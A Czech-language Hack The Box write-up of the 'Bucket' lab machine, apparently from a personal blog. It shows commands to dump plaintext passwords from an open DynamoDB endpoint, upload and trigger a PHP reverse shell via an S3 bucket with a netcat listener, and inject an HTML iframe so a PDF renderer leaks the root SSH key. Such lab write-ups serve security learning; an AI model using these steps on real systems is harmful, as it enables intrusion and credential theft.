tom@home.htb:~$

Blog o HTB

13 November 2020

Bucket

Úvod a kontext

Bucket je výborná ukázka prostředí, kde vedle hlavní aplikace běží i cloudově vypadající API bez autentizace. s3.bucket.htb vystavuje S3 i DynamoDB rozhraní, takže útočník nemusí nic lámat: stačí číst tabulky, nahrát soubor do bucketu adserver a využít cestu, kterou už aplikace sama očekává.

Root část je jiná disciplína. Po footholdu pod roy se ukáže interní bucket-app, která převádí HTML z DynamoDB do PDF přes pd4ml_demo.jar. To pak umožní zneužít lokální renderer k vyčtení /root/.ssh/id_rsa a změnit server-side PDF export v krádež root klíče.

Počáteční průzkum

Vyhledání otevřených portů

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

ports=$(nmap -p- -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT   STATE SERVICE VERSION

Detailní analýza služeb

V dalším kroku si zpřesňuji verze služeb a jejich charakteristiky, protože právě z těchto detailů obvykle vzniká rozhodnutí, zda pokračovat přes web, SSH nebo jinou vrstvu.

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

bucket.htb s3.bucket.htb

Enumerace webu

Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.

whatweb -v http://s3.bucket.htb/
Summary   : HTTPServer[hypercorn-h11], Access-Control-Allow-Methods[HEAD,GET,PUT,POST,DELETE,OPTIONS,PATCH], UncommonHeaders[access-control-allow-origin,access-control-allow-methods,access-control-allow-headers,access-control-expose-headers]

./dirsearch/dirsearch.py -u http://s3.bucket.htb/ -e php -x 403 -r

aws configure

aws dynamodb list-tables --endpoint-url http://s3.bucket.htb

aws dynamodb scan --table-name users --endpoint-url http://s3.bucket.htb
None	3	3
PASSWORD	Management@#1@#
USERNAME	Mgmt
PASSWORD	Welcome123!
USERNAME	Cloudadm
PASSWORD	n2vM-<_K_Q:.Aa2
USERNAME	Sysadm

aws --endpoint-url http://s3.bucket.htb/ s3 ls s3://
aws --endpoint-url http://s3.bucket.htb/ s3 ls s3://adserver
aws --endpoint-url http://s3.bucket.htb/ s3 cp rev.php s3://adserver/rev.php
netcat -lvp 4444
aws --endpoint-url http://s3.bucket.htb/ s3 cp rev.php s3://adserver/rev.php && curl "http://bucket.htb/rev.php"

Získání přístupu

Upload do S3 a přechod na účet roy

Veřejné DynamoDB rozhraní vrátí heslo n2vM-<_K_Q:.Aa2 pro účet roy a zároveň bucket adserver dovolí nahrát rev.php. Webshell tedy slouží jen jako krátký mezikrok; stabilní SSH je pohodlnější a lépe ověřitelný další směr.

ssh roy@10.10.10.212
n2vM-<_K_Q:.Aa2

use Aws\DynamoDb\DynamoDbClient;
if($_SERVER["REQUEST_METHOD"]==="POST") {
	if($_POST["action"]==="get_alerts") {
		date_default_timezone_set('America/New_York');
		$client = new DynamoDbClient([
			'profile' => 'default',
			'region'  => 'us-east-1',
			'version' => 'latest',
			'endpoint' => 'http://localhost:4566'
		]);

		$iterator = $client->getIterator('Scan', array(
			'TableName' => 'alerts',
			'FilterExpression' => "title = :title",
			'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),
		));

		foreach ($iterator as $item) {
			$name=rand(1,10000).'.html';
			file_put_contents('files/'.$name,$item["data"]);
		}
		passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
	}
[... výstup zkrácen ...]
--provisioned-throughput \
        ReadCapacityUnits=10,WriteCapacityUnits=5 --endpoint-url http://s3.bucket.htb

aws dynamodb put-item \
    --table-name alerts \
    --item '{
        "title": {"S": "Ransomware"},
        "data": {"S": "<html><head></head><body><iframe src='/root/.ssh/id_rsa'></iframe></body></html>"}
      }' \
    --return-consumed-capacity TOTAL --endpoint-url http://s3.bucket.htb

Získání user flagu

User část zde potvrzuje, že zveřejněné cloudové endpointy nakonec vedly až k normálnímu shellu v hostu pod účtem roy.

aws --endpoint-url http://s3.bucket.htb/ s3 cp rev.php s3://adserver/rev.php && curl "http://bucket.htb/rev.php"
ssh roy@10.10.10.212
n2vM-<_K_Q:.Aa2

Eskalace oprávnění

Získání root flagu

bucket-app ukládá HTML z tabulky alerts do souboru a pak ho převádí na PDF přes Pd4Cmd. Pokud útočník do DynamoDB vloží HTML s iframe na /root/.ssh/id_rsa, renderer tento lokální soubor načte a výstup se dá stáhnout jako PDF. Výsledkem není jen čtení souboru, ale rovnou použitelný SSH klíč pro root.

scp roy@10.10.10.212:/var/www/bucket-app/files/result.pdf ./
ssh -i id_rsa root@10.10.10.212
cat /root/root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: linux - ssh - php - java - exploit - enumeration